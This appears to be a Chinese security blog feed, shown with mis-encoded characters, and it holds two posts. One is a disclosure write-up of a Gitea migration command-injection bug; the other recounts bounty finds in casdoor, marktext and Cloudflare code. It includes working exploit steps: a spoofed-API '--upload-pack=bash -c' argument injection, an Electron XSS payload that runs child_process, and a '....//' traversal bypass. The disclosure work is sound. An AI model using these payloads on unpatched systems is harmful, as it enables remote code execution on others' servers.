è´è´£ä»è¿ç«¯çä»åºæå¡ä¸è½½ä»åºä¿¡æ¯ï¼åè
è´è´£å°ä¿¡æ¯æå
¥å° Gitea ä¸ã
ç®å <code>Downloader</code> æ¯æä» GitHubãGitlabãGitBucketãGogsãGitea çæå¡å¯¼å
¥ä»£ç ï¼ä½ å¯ä»¥å¨ <code>services/migrations</code> ç®å½ä¸çå°å¯¹è¿äºå¹³å°ç <code>Downloader</code> æ¥å£å®ç°ãä¸è¬é½æ¯è°è¿äºæå¡ç API æ¥è·åæ管å¨å
¶ä¸é¢ä»åºç IssueãPull RequestãReleases çä¿¡æ¯ãè <code>Uploader</code> çå®ç°åªæä¸ä¸ªï¼é£å°±æ¯ Giteaï¼å 为æ们æç»åªä¼å°è¿ç«¯ä»åºè¿ç§»è³æ¬ Gitea å®ä¾ä¸ã</p>
<p>å¨ <code>services/migrations/migrate.go#migrateRepository</code> æ¯è¿ç§»ä¸ä¸ªè¿ç«¯ä»åºæè¦è¿è¡çæ¥éª¤ãå¨ç»å½æ°ä¼ å
¥äºå¯¹åºç <code>Downloader</code> å <code>Uploader</code> åï¼å®å°ä¾æ¬¡åå¦ä¸æä½ï¼</p>
<table>
<thead>
<tr>
<th>è°ç¨çæ¥å£æ¹æ³</th>
<th>说æ</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>downloader.GetRepoInfo</code></td>
<td>è·åè¿ç«¯ä»åºåºæ¬ä¿¡æ¯</td>
</tr>
<tr>
<td><code>downloader.FormatCloneURL</code></td>
<td>è·åè¿ç«¯ä»åº Git Clone å°å</td>
</tr>
<tr>
<td><code>uploader.CreateRepo</code></td>
<td>å建æ¬å°ä»åº</td>
</tr>
<tr>
<td><code>downloader.GetTopics</code> <code>uploader.CreateTopics</code></td>
<td>è·åè¿ç«¯ä»åº Topic + å建æ¬å°ä»åº Topic</td>
</tr>
<tr>
<td><code>downloader.GetMilestones</code> <code>uploader.CreateMilestones</code></td>
<td>è·åè¿ç«¯ä»åºéç¨ç¢ + å建æ¬å°ä»åºéç¨ç¢</td>
</tr>
<tr>
<td><code>downloader.GetLabels</code> <code>uploader.CreateLabels</code></td>
<td>è·åè¿ç«¯ä»åºæ ç¾ + å建æ¬å°ä»åºæ ç¾</td>
</tr>
<tr>
<td><code>downloader.GetReleases</code> <code>uploader.CreateReleases</code></td>
<td>è·åè¿ç«¯ä»åº Release çæ¬ + å建æ¬å°ä»åº Release çæ¬</td>
</tr>
<tr>
<td><code>downloader.GetIssues</code> <code>uploader.CreateIssues</code></td>
<td>è·åè¿ç«¯ä»åº Issue + å建æ¬å°ä»åº Issue</td>
</tr>
<tr>
<td><code>downloader.GetComments</code> <code>uploader.CreateComments</code></td>
<td>è·åè¿ç«¯ä»åºè¯è®º + å建æ¬å°ä»åºè¯è®º</td>
</tr>
<tr>
<td><code>downloader.GetPullRequests</code> <code>uploader.CreatePullRequests</code></td>
<td>è·åè¿ç«¯ä»åº Pull Request + å建æ¬å°ä»åº Pull Request</td>
</tr>
<tr>
<td><code>downloader.GetReviews</code> <code>uploader.CreateReviews</code></td>
<td>è·åè¿ç«¯ä»åº Code Review + å建æ¬å°ä»åº Code Review</td>
</tr>
</tbody>
</table>
<p>å¯ä»¥çå°ï¼ä»åºè¿ç§»çæä½å°±æ¯æä¿¡æ¯ä½¿ç¨ <code>Downloader</code> ä¸è½½åæ¥ï¼ç¶å <code>Uploader</code> ç»åå¨å°æ¬å°ï¼è¿æ ·æ对çä¸æ¥ä¸åã
ç±äº GitHubãGitlabãGitBucket è¿äºå±äºç¬¬ä¸æ¹ç SaaSï¼æ们对å
¶ API è¿åçå
容并æ¯å®å
¨ä¸å¯æ§çï¼å æ¤æå°ç®å
çåäºä» Gogs å Gitea è¿ç§»ãè Gitea ç <code>Downloader</code> çåè½ç¸æ¯ Gogs çå¤ï¼å½ Gitea è¦ä»å¦ä¸ä¸ª Gitea å®ä¾è¿ç§»ä»åºæ¶ï¼å®å°è¯·æ±è¿ç«¯ Gitea å®ä¾ç APIï¼æ¥å¾ç¥è¯¥ä»åºçå称ãIssueãPull RequestãReleases æ件çã
æ们è¯æ³æ¯å¦å¯ä»¥ä¼ªé ä¸ä¸ª Gitea å®ä¾ï¼è¯´ç½äºå°±æ¯ä¼ªé è¿ä¹ä¸å¥ Gitea APIï¼è®©å½å Gitea å®ä¾å¨è¿ç§»ä»åºæ¶å»è¯·æ±æ们伪é ç Gitea API æå¡ï¼ä»ä¸ä¼ å
¥ä¸äºæ¶æåæ°ççè½ä¸è½æäºæ
ã</p>
<p>ç»è¿ä¸ä¸ªé宵ç审计å @Li4n0 çåå©ï¼æ们ç»äºåç°äºä¸æè¿ç¨å½ä»¤æ§è¡æ¼æ´ãå®ä»æ¶æç Gitea å®ä¾è¯»åç²¾å¿æé çåæ°åï¼æ¼æ¥è¿æ£å¸¸ç Git å½ä»¤ï¼ä»è导è´äºè¿ç¨å½ä»¤æ§è¡ãæ们形象å°å°å
¶ç§°ä¹ä¸ºï¼Git ææ¯ï¼Git Poisonï¼ã</p>
<h2 id="git-ææ¯">Git ææ¯</h2>
<p>æ¼æ´ç¹åºç°å¨å¯¹ Pull Request çæ°æ®è¿ç§»ä¸ï¼è°ç¨é¾å¦ä¸ï¼</p>
<ul>
<li><code>services/migrations/migrate.go:L376#uploader.CreatePullRequests</code></li>
<li><code>services/migrations/gitea_uploader.go:L466#g.newPullRequest</code></li>
<li><code>services/migrations/gitea_uploader.go:L602#g.updateGitForPullRequest</code></li>
</ul>
<p>åºç°æ¼æ´ç代ç åå¨ <code>services/migrations/gitea_uploader.go:L531-L567</code> å¤ï¼ç²¾ç®åç代ç å¦ä¸ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">if</span> pr.<span style="color:#d2a8ff;font-weight:bold">IsForkPullRequest</span>() <span style="color:#ff7b72;font-weight:bold">&&</span> pr.State <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#a5d6ff">"closed"</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> pr.Head.OwnerName <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#a5d6ff">""</span> {
</span></span><span style="display:flex;"><span> remote <span style="color:#ff7b72;font-weight:bold">:=</span> pr.Head.OwnerName
</span></span><span style="display:flex;"><span> _, ok <span style="color:#ff7b72;font-weight:bold">:=</span> g.prHeadCache[remote]
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> !ok {
</span></span><span style="display:flex;"><span> err <span style="color:#ff7b72;font-weight:bold">:=</span> g.gitRepo.<span style="color:#d2a8ff;font-weight:bold">AddRemote</span>(remote, pr.Head.CloneURL, <span style="color:#79c0ff">true</span>)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span>
</span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> {
</span></span><span style="display:flex;"><span> ok = <span style="color:#79c0ff">true</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> ok {
</span></span><span style="display:flex;"><span> _, err = git.<span style="color:#d2a8ff;font-weight:bold">NewCommand</span>(g.ctx, <span style="color:#a5d6ff">"fetch"</span>, remote, pr.Head.Ref).<span style="color:#d2a8ff;font-weight:bold">RunInDir</span>(g.repo.<span style="color:#d2a8ff;font-weight:bold">RepoPath</span>())
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>å½è¿ç«¯åå¨æ¥èª Fork ä»åºæ交ç Pull Request 请æ±ï¼ä¸è¯¥ PR ç¶æä¸ä¸º Close æ¶ï¼ä¼è¿å
¥è¯¥åæ¯ã
è¿éæä¸ä¸ª Map <code>g.prHeadCache</code> ä½ä¸ºä¸´æ¶ç¼åã第ä¸æ¬¡è¿å
¥æ¶è¯¥ç¼å为空ï¼æ£æµå° <code>remote</code> çå¼ä¸å¨ <code>g.prHeadCache</code> ä¸ï¼è°ç¨ <code>g.gitRepo.AddRemote</code> æ¹æ³ï¼è¯¥æ¹æ³æ§è¡å½ä»¤ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git remote add -f <remote> <pr.Head.CloneURL>
</span></span></code></pre></div><p>该å½ä»¤æ£å¸¸æ§è¡ï¼æ é误æåºåï¼ä¾¿å°<code>ok</code> 设置æ <code>true</code>ãå°ä¸æ¹æ§è¡å½ä»¤ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git fetch <remote> <pr.Head.Ref>
</span></span></code></pre></div><p>å½æ们éæ©ä»è¿ç«¯ Gitea å®ä¾æ§è¡è¿ç§»æ¶ï¼ä¸è¿° <code>remote</code> <code>pr.Head.CloneURL</code> <code>pr.Head.Ref</code> åæ°<strong>ååèªè¿ç«¯ Gitea Web API ååºä¸</strong>ï¼åæ¯å¯æ§çãå æ¤åªéè¦æé ä¸ä¸ª HTTP æå¡æ¨¡æ Gitea Web API è¿åååºï¼ä»¥ä¸çä¸ä¸ªåæ°å°ä»ååºä¸è·åã</p>
<h3 id="git---upload-pack-åæ°">Git <code>--upload-pack</code> åæ°</h3>
<p>è½ç¶ä¸è¿°ä¸¤ä¸ªå½ä»¤ä¸çä¸ä¸ªåæ°é½å¯æ§ï¼ä½æ
åµå¹¶ä¸ä¹è§ï¼</p>
<ol>
<li>两æ¡æ令åå«æ¯ <code>git remote add</code> å <code>git fetch</code>ï¼æ们ä»
è½æ§å¶å
¶åæ°ã</li>
<li>第äºæ¡å½ä»¤æ§è¡çæ¡ä»¶æ¯éè¦ä¿è¯ç¬¬ä¸æ¡å½ä»¤æ§è¡æåã</li>
</ol>
<p>第ä¸ä¸ªéå¶ï¼ä¹æ¯è¿ä¸ªæ¼æ´çé¾ç¹æå¨ãå¨ç¿»é
äº Git ææ¡£åï¼Li4n0 åç° Git ç <code>fetch</code> åå½ä»¤ä¸åå¨ <code>--upload-pack</code> è¿ä¸ªåæ°ãæ ¹æ®å®æ¹ææ¡£ï¼å½ <code>--upload-pack</code> 被æå®æ¶ï¼å
¶ä»åºæåæä½å°ä½¿ç¨ <code>git fetch-pack --exec=<upload-pack></code> æ¿ä»£ãè <code>git fetch-pack</code> ä¸ç <code>--exec</code> åæ°å <code>--upload-pack</code> åæ°ï¼ç¨äºæå®<strong>è¿ç«¯</strong> <code>git-upload-pack</code> å½ä»¤æ§è¡çè·¯å¾ã</p>
<p>èå¦ææ们设置è¿ç«¯ Git ä»åºçè·¯å¾ä¸º<strong>ä¸ä¸ªæ¬å°çä»åº</strong>ï¼å对äºè¿ä¸ªä»åºæ¥è¯´ï¼å®¢æ·ç«¯æ¯å½å Gitea å®ä¾ï¼è¿ç«¯æå¡ç«¯ä¹æ¯å½å Gitea å®ä¾æºå¨ä¸çä¸ä¸ªç®å½ãå æ¤ä¾¿ä¼å¨<strong>å½å</strong> Gitea å®ä¾æå¨çæºå¨ä¸æ§è¡å½ä»¤ã</p>
<p>å æ¤ï¼ <code>git remote add</code> ä¸<code><pr.Head.CloneURL></code> éå¡«å
¥ä¸ä¸ªæ¬å°ç Git ä»åºå°åãæ ¹æ® Git å®æ¹ææ¡£çæè¿°ï¼Git æ¯æ <code>file</code> <code>ssh</code> <code>http</code> ä¸ç§åè®®æ¥è·å Git ä»åºï¼æ¬å°ä»åºéæ© <code>file</code> åè®®ãç»è¿æµè¯ï¼å¦æä½¿ç¨ <code>file://<path></code> è¿ç§æ¹å¼ï¼éä¼ å
¥ä»åºå®æ´çç»å¯¹è·¯å¾ãèæ们æ æ³å¾ç¥çº¿ä¸ Gitea å®ä¾çé¨ç½²æ
åµï¼èªç¶ä¸ç¥éå
¶ç»å¯¹è·¯å¾ãåæ ·å¨æ¥ç Git å®æ¹æ档并æµè¯åï¼æ们åç°è¿éä¸ä½¿ç¨ <code>file</code> å议头ï¼<strong>ç´æ¥è¾å
¥ä»åºçç¸å¯¹è·¯å¾ä¹æ¯å¯è¡ç</strong>ãå½å两æ¡<code>git</code>å½ä»¤å°±æ¯å¨ä¸ä¸ª Git ä»åºä¸æ§è¡çï¼å æ¤ç´æ¥ä¼ å
¥<code>./</code> å³å¯ãï¼ä¹å¯ä»¥ä½¿ç¨ <code>file</code> åè®®å¤´ä¼ å
¥ç»å¯¹è·¯å¾ <code>/proc/self/cwd/</code> æ¥è½¯é¾æ¥æåå½å Git å½ä»¤çè¿è¡ç®å½ï¼</p>
<p>对äºç¬¬äºä¸ªéå¶ï¼å¯ä»¥æ³¨æå°ä¸¤è¡å½ä»¤åç¨å°äº <code><remote></code> åéã è¥å° <code><remote> </code> åé设置æ <code>--upload-pack</code> åæ°ï¼å 为 <code>git remote</code> å½ä»¤ä¸æ 该åæ°ï¼ç¬¬ä¸æ¡å½ä»¤ä¼æ§è¡å¤±è´¥ï¼ç¬¬äºæ¡å½ä»¤ä¾¿ä¸åä¼è¢«æ§è¡ãå æ¤è¦å°ç¬¬äºè¡å½ä»¤ä¸ç <code><pr.Head.Ref></code> 设置æ <code>--upload-pack</code> åæ°ï¼<code><remote></code> 设置æä»»æåæ³çå称ï¼å¦ <code>origin</code>ã</p>
<p>å³æç»æ§è¡ç两æ¡å½ä»¤å°±æ¯ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git remote add -f origin ./
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>git fetch origin --upload-pack<span style="color:#ff7b72;font-weight:bold">=</span>bash -c <span style="color:#a5d6ff">'<cmd>'</span>
</span></span></code></pre></div><p>综ä¸ï¼æ建ä¸ä¸ª HTTP æå¡å¹¶é
置以ä¸è·¯ç±ï¼æ¥ä¼ªè£
æä¸ä¸ª Gitea å®ä¾ï¼ååºä½å¯ä»¥ä»ä¸ä¸ªæ£å¸¸ Gitea ç API ä¸æªåã</p>
<pre tabindex="0"><code>/api/v1/version
/api/v1/settings/api
/api/v1/repos/<owner>/<repo>/
/api/v1/repos/<owner>/<repo>/topics
/api/v1/repos/<owner>/<repo>/pulls
/api/v1/repos/<owner>/<repo>/issues/1/reactions
/api/v1/repos/<owner>/<repo>/pulls/2/reviews
</code></pre><p>å¨ <code>/api/v1/repos/<owner>/<repo>/pulls/2/reviews</code> è·¯ç±çååº JSON ä¸ï¼ä¿®æ¹å¯¹åºå段æ§å¶ä¸ææå°äºä¸ä¸ªå段çå¼ï¼å
¶ä¸ <code><cmd></code> 为æ§è¡çå½ä»¤ï¼</p>
<pre tabindex="0"><code>[0].head.ref: --upload-pack=bash -c '<cmd>'
[0].head.repo.clone_url: ./
[0].head.owner.login: <username>
</code></pre><p>ç»å½ Gitea å®ä¾ï¼å³ä¸è§ç¹å»ã+ã-> ãè¿ç§»å¤é¨ä»åºã->ãGiteaãï¼å¨ ãä» URL è¿ç§»/å
éã ä¸å¡«å
¥ä¸ææ建ç伪è£
Gitea å®ä¾å°åï¼æ§è¡è¿ç§»æä½ï¼ä»£ç 便ä¼è¢«æ§è¡ã</p>
<h2 id="æåèå å¥">æåèå å¥</h2>
<p>å
¶å®ä¸é¢æå°çè¿ä¸ªåªæ¯ Gitea Migration éæ伤åæ大çä¸ä¸ªæ¼æ´ï¼æ¯è¿å½±åèå´å°çæ¼æ´è¿æå 个ãæ¯å¦åæ¥ Git ä»åºæ¶è¾å
¥æ¬å°ç®å½å¯ä»¥è¶ææ¥çå·²ç¥ä»åºåçç§æä»åºï¼åæ¥ Releases åçä¿¡æ¯æ¶ HTTP GET 请æ±è¿ç«¯æ件ç SSRF çãè¿äºå¤§å®¶å¯ä»¥èªå·±å»åæä¸ã
è¿ä¸ªæ¼æ´ä¹æ£æ¯æå¨æç« å¼å¤´æå°çï¼ç»æ们æ¥å¸¸ä½¿ç¨çç¨åºä¼ å
¥æ¶æçé
ç½®æåå½ä»¤ï¼ä»è导è´ä»»æå½ä»¤æ§è¡ãå¦æå¼å人åä¸äºè§£ç¸å
³ç Trickï¼é£ä¹å¨è°ç¨ç¬¬ä¸æ¹ç¨åºæ¶å°±ä¼å¾å®¹æååºç±»ä¼¼çæ¼æ´ï¼å¯è°é²ä¸èé²ã</p>
<h2 id="æ¶é´çº¿">æ¶é´çº¿</h2>
<ul>
<li>2022-04-16 åç°æ¼æ´</li>
<li>2022-04-18 å®æ Exploit ç¼å</li>
<li>2022-04-25 å Gitea å®æ¹ä¸æ¥æ¼æ´ä¿¡æ¯</li>
<li>2022-04-26 Gitea å®æ¹åå¤æ¼æ´å·²ç¡®è®¤ï¼å°å¨ v1.16.7 çæ¬ä¸ä¿®å¤</li>
<li>2022-05-02 Gitea åå¸ v1.16.7 çæ¬ï¼æ¼æ´è¢«ä¿®å¤</li>
<li>2022-05-16 ä¸å CVE ç¼å·ï¼CVE-2022-30781</li>
</ul>
- èèæè¿æ Security Bounty çæåhttps://github.red/security-bounty-thought/Sat, 19 Mar 2022 02:17:21 +0800https://github.red/security-bounty-thought/<blockquote>
<p>æç« å¤´å¾æ¥èª @大空水ç <a href="https://t.bilibili.com/637532953957629970">https://t.bilibili.com/637532953957629970</a></p>
</blockquote>
<h2 id="èµ·å ">èµ·å </h2>
<p>æå°è¿å个æ没åç¹ä¸è¥¿äºã赶çå¨å
çåæ¨ï¼å¸¦çäºè®¸ç¡æï¼æ³æ¥å享ä¸ä»å»å¹´å¹´æ«å°ç°å¨æ Security Bounty çæåä¸ç»éªãæä¸ä¼æéå 个æè§å¾æææçæ¼æ´ï¼åæå
¶èåçæ
äºä»¥åæçæ³æ³ã</p>
<p>è®°å¾ä¸å¹´åï¼å¤§äºä¸å¦æåå¼å¦åä¼ææ°çæ¶åï¼è·æ°çèå°åä¼ç @Li4n0 å¦é¿å¤§äºå°± Typora RCE è¿æ¿ä¸¤ä¸ª CVEï¼é£æ°ç便é®ææ没æ CVE ç¼å·ãæä¸æ¶è¯å¡ï¼æ æ 头尴尬å°åç没æãå¯è½å°±æ¯è¿ä¸ªåå å§ï¼åæ¥èªå·±ç¹å«æ³è¦æ个 CVE ç¼å·ã
ä¹åè½ç¶ä¹å¨ç©ºé²çæ¶åééç»ç»å°å»æäºä¸äº SRCï¼èµäºç¹å°é±ï¼ä½æç»çæ¥ååä¸å
¬å¼ï¼èªå·±æ¿äºé±ç¡®å®ç½ï¼ä½å¯¹å¤æ²¡å¥è½å¹å¾ãð
</p>
<p>æ¶é´æ¥å°äºå»å¹´å¹´æ«åäºæ份ï¼æçªç¶å¯¹å½å¤æ产åçä¸ä¸ªåè½ç代ç å®ç°å¾æå
´è¶£ï¼ä¾¿å»ç¿»ä»ä»¬ç½ç«ä¸å
³äºæ¤åè½ç设计ææ¡£ãçå®åæèªä½©æçåæ¶ä¹å¨æ³è¿ä¹å¤§ä¸ªå
¬å¸ä¼ä¸ä¼æå¥æ´å¢ï¼è¶çæéæäºä¸æ³¢ï¼è¿çæï¼åé¢ééç»ç»å°äº¤äºè¿ä¸ªå
¬å¸çå 个æ´ï¼å°èµäºä¸ç¬å¤§çã<strong>ä½ï¼ä¾æ§æ²¡æ CVEã</strong><br>
<span class="heimu" onclick="()=>{}">ï¼è½ç¶å°åé¢ç»è¡¥ä¸äºï¼</span></p>
<p>åé¢æ便转æ¢äºä¸æè·¯ï¼ä¸ç¯çé£äº stars æ°å¾é«çå¼æºé¡¹ç®ãæ¶é´æ¥å°ä¸æä¸æ¬ï¼å½æ¶å
¬å¸å¨æä¸å¥å
é¨çç»ä¸é´æç³»ç»ï¼SSOï¼ï¼ç¨äºå项ç¬ç«æå¡çç»å½é´æãå½å
æå¾å¤ä»¿ç
§æµ·å¤ Auth0 åç产åï¼ä½ä»·æ ¼é½å¤ªè´µäºãæåéæ©ä½¿ç¨å¼æºé¡¹ç® casdoor (<a href="https://github.com/casdoor/casdoor">https://github.com/casdoor/casdoor</a>) è¿è¡èªå»ºãcasdoor æ¯åºäºèå casbin 项ç®åå±èæ¥çï¼ä¸¤è
æçåä¸ä¸ç¼çå
³ç³»ãåæ¶ casdoor ä¹æ¯ä½¿ç¨ Go è¯è¨è¿è¡å¼åï¼æ便è¯çç½çæ«äºä¸ã好家ä¼ï¼è¿çç»ææ¡äºæ¼äºï¼æ«å°ä¸å¤ SQL 注å
¥ã</p>
<h2 id="cve-2022-24124-casdoor-sql-注å
¥">CVE-2022-24124 casdoor SQL 注å
¥</h2>
<p>æ¼æ´è§¦åçåçå¾ç®åï¼æå 个å
¬å¼ç Web API æ¥è¯¢æ¥å£æ¯æ对表ä¸ä»»æå段ç模ç³æ¥æ¾ï¼å
·ä½ç代ç å®ç°æ¯å段åç´æ¥ä» <code>field</code> ç Query åæ°ä¸ä¼ å
¥ï¼æ ¼å¼åå符串æ¼æ¥è¿ <code>"%s like ?"</code> è¯å¥ï¼å¯¼è´ <code>LIKE</code> åé¢çå
容å¯æ§ï¼ä»èå¼å SQL 注å
¥ãé£è¿ç®¡ä½ å¥å¥ ORMï¼ç¥ä»ä¹æä¸äºä½ ã
PoC è§ <a href="https://github.com/casdoor/casdoor/issues/439">#439</a></p>
<p>å®æ¹ä¿®å¤ç PR åå¼å§æ¯ç¨é»ååè¿æ»¤å符ï¼æ review æ¶<a href="https://github.com/casdoor/casdoor/pull/442#issuecomment-1019525206">ç´æ¥ç»ç»äº</a>ååãæç»çä¿®å¤å»ºè®®æ¯ç¨åå°è§£æç»æä½éçå段ï¼ä½ä¸º <code>field</code> åæ°çç½ååè¿è¡è¿æ»¤ãå®æ¹åé¢è§å¾è¿æ ·å¤ªå¤æäºï¼ç´æ¥æ£åæ£éªåªè½ä¼ å
¥å¤§å°å + æ°åï¼ç»ç¢ç¢å°éå¶æ»äºã</p>
<p>å¯æçæ¯æè²ä¼¼æ¯ç¬¬ä¸ä¸ªç» casdoor æ交å®å
¨æ¼æ´ç人ï¼å®æ¹ä»¥å并没æç¸å
³çæ¼æ´å¤çæµç¨ãæååªè½èªå·±é»é»å°å»ç³è¯·äº CVE ç¼å·ï¼CVE ä¸æ¥çé£å¤©æè¿å¨åè家ç车ä¸ï¼çå°ææºä¸æ¶å°çé®ä»¶å
´å¥å°ä¸å¾äºãï¼ä½æå
¶å®æ´å¸æçæ¯å®æ¹è½ä¸»å¨å¸®æç³è¯·ï¼ä¹ç®æ¯ä¸ç§ç¹å«çæè°¢ä¸è¯å®ãï¼</p>
<h2 id="cve-2022-24123-marktext-xss---rce">CVE-2022-24123 marktext XSS -> RCE</h2>
<p>å¨æå° casdoor ç SQL 注å
¥ä¹åç第äºå¤©ï¼æ微信ä¸å·å°äºä¸ç¯æç« ï¼æç« ä»ç»çæ¯å¨ Typora æ¶è´¹åï¼ä½è
说大家å¯ä»¥ä½¿ç¨ marktext è¿ä¸ªå¼æºå
è´¹ç Markdown ç¼è¾å¨ä½ä¸ºæ¿ä»£ãæ³èµ·ä¹å @Li4n0 æå°äº Typora ç RCEï¼æ£å·§è¿ä¸ª marktext ä¹æ¯åºäº Electron å®ç°ç跨平å°æ¡é¢åºç¨ï¼æä¹æ³æ¥è¯è¯ã
å¯ææä¸çå° JavaScript 就头大ï¼æ ¹æ¬ä¸æ³å»è®¤ç审ï¼éå³è¡ä¹±å°å¨ç¿»ç marktext ç issueãçªç¶åç°äºè¿ä¸ªé¿è¾¾ä¸å¹´ä¹ä¹
ç issue <a href="https://github.com/marktext/marktext/issues/2504">#2504</a>ãä»éé¢æå° marktext ç Mermaid å¾è¡¨åè½åå¨ bugï¼è¾å
¥ç±»ä¼¼ HTML çæ ç¾ <code><something_in_chevrons></code> èªå¨ç»éååæäº <code><something_in_chevrons>some text</something_in_chevrons></code>ã
æä¸çï¼å¥½å®¶ä¼ï¼è¿ä¸è¯´æè¾å
¥è¢«å½å HTML 解æäºåï¼è¿ä¸å¦¥å¦¥ç XSS åãæå¨ marktext ä¸æä» issue éçæ ç¾å
容æ¹æ <code><img src=1 onerror="alert(1)"></code>ï¼ç´æ¥å°±å¼¹çªäºãæ¹æ</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#7ee787">img</span> src<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">1</span> onerror<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">"require('child_process').exec('open /System/Applications/Calculator.app')"</span>>
</span></span></code></pre></div><p>ç´æ¥å¼¹è®¡ç®å¨äºãæäºï¼
ççæ¯ç½æ¡äºä¸ä¸ª RCEï¼æç»åå®æ¹å¾å¿«å°±ä¿®äºãä½æ ¹æ® marktext ä¹åå 个 RCE ç issueï¼æç»é½æ¯æ¼æ´æ交è
å»ç³è¯·äº CVEãæ以æååªè½èªå·±å»ç³è¯· CVE ç¼å·ï¼åæ¨ã</p>
<p>åé¢æç®åçè·äºä¸ä¸è¿ä¸ªæ´ï¼åç°æ¯ç´æ¥å° <code>innerHTML</code> 设置æç¨æ·è¾å
¥å¯¼è´çãåæ¥å
¨å±æ索代ç ï¼ä¹åç°äºä¸å¤åæ ·çé®é¢ï¼ä¸è¿è¯»åçæ¯ç¨æ·åªè´´æ¿ä¸å¤å¶çå
容ãæ³äºä¸å¥½å没å¥è½å©ç¨çå¯è½ï¼æ¯ç«ç¨æ·åªä¼å»å°å»å¤å¶ä¸æ®µèªå·±é½çä¸æçå¥æªä»£ç è¿æ¥ãå¯æ¯…… å°±å¨æè¿ä¸ª CVE å
¬å¼çå 天åï¼ä¸ä¸ªé©å½èå¥äº¤äºè¿ä¸ªåªè´´æ¿å¤å¶å¯¼è´ RCE çæ´ï¼å±
ç¶è¿è¢«æ¿è®¤äºï¼è¡äºåï¼</p>
<h2 id="ä¸-cloudflare-ççº ç¼ ">ä¸ Cloudflare ççº ç¼ </h2>
<p>è¿å¹´æé´ä½å¨å¥¶å¥¶å®¶çæ¶åï¼æä¸ç¡åä¼é便ç½ä¸å²æµªå°å¤ççãé£ä¸ªæ¶åææ GitHub Advisory Database éææ Go ç¸å
³çåå²æ¼æ´ä¿¡æ¯å
¨é¨ç¬äºä¸æ¥ï¼æ´çæäºä¸ä¸ª Excel æ
¢æ
¢çï¼ä¼å¾ä»ä¸æ»ç»åºä¸äº Go ç¸å
³æ¼æ´çç¹ç¹ãçå°ä¹å Iris æ¡æ¶ä¹åä¸ä¼ æ件ç®å½ç©¿è¶çæ´ãæ¼æ´çæå æ¯ Iris æ³ä¿®ç®å½ç©¿è¶ï¼ä½åªæ¯ç¨äºå¾ç®åçåæ¥ <code>strings.ReplaceAll</code> è¿è¡æ¿æ¢ï¼è¿ä¸ªçç»è¿ä¸ç¨è¯´äºå§…… ååä¸ä¸å°±å®äºäºï¼<code>....//</code>ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Fix an issue that net/http has,</span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// an attacker can push a filename</span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// which could lead to override existing system files</span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// by ../../$header.</span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Reported by Frank through security reports.</span>
</span></span><span style="display:flex;"><span>header.Filename = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(header.Filename, <span style="color:#a5d6ff">"../"</span>, <span style="color:#a5d6ff">""</span>)
</span></span><span style="display:flex;"><span>header.Filename = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(header.Filename, <span style="color:#a5d6ff">"..\\"</span>, <span style="color:#a5d6ff">""</span>)
</span></span></code></pre></div><p>æçäºççè§å¾å¥½ç¬ï¼ä¸ä¼å§ï¼ä¸ä¼å§ï¼ä¸ä¼çæ人è¿ä¹é²ç®å½ç©¿è¶å§ï¼ï¼å
¨å±æäºä¸ï¼å¥½å®¶ä¼ï¼è¿çæï¼è¿æ¯å¤§åé¼é¼ç Cloudflareã
ä»ä»¬å¨è¿ä¸ª <a href="https://github.com/cloudflare/cfrpki/commit/d09d0e2fc254f4bf46a743f2a6ee4768390d50cf#diff-ade3b3e84a33081676674368bd1c2fe8325ca5d13c770a6f0632614c43d09b8eR761">commit</a> éä¿®å¤äº CVE-2021-3907 è¿ä¸ªä¸è½½æ件æ¶ç®å½ç©¿è¶å¯è½å¯¼è´ RCE çé«å±æ¼æ´ãä¿®å¤çæ¹å¼ä¹æ¯å¾ç®åç²æ´ï¼</p>
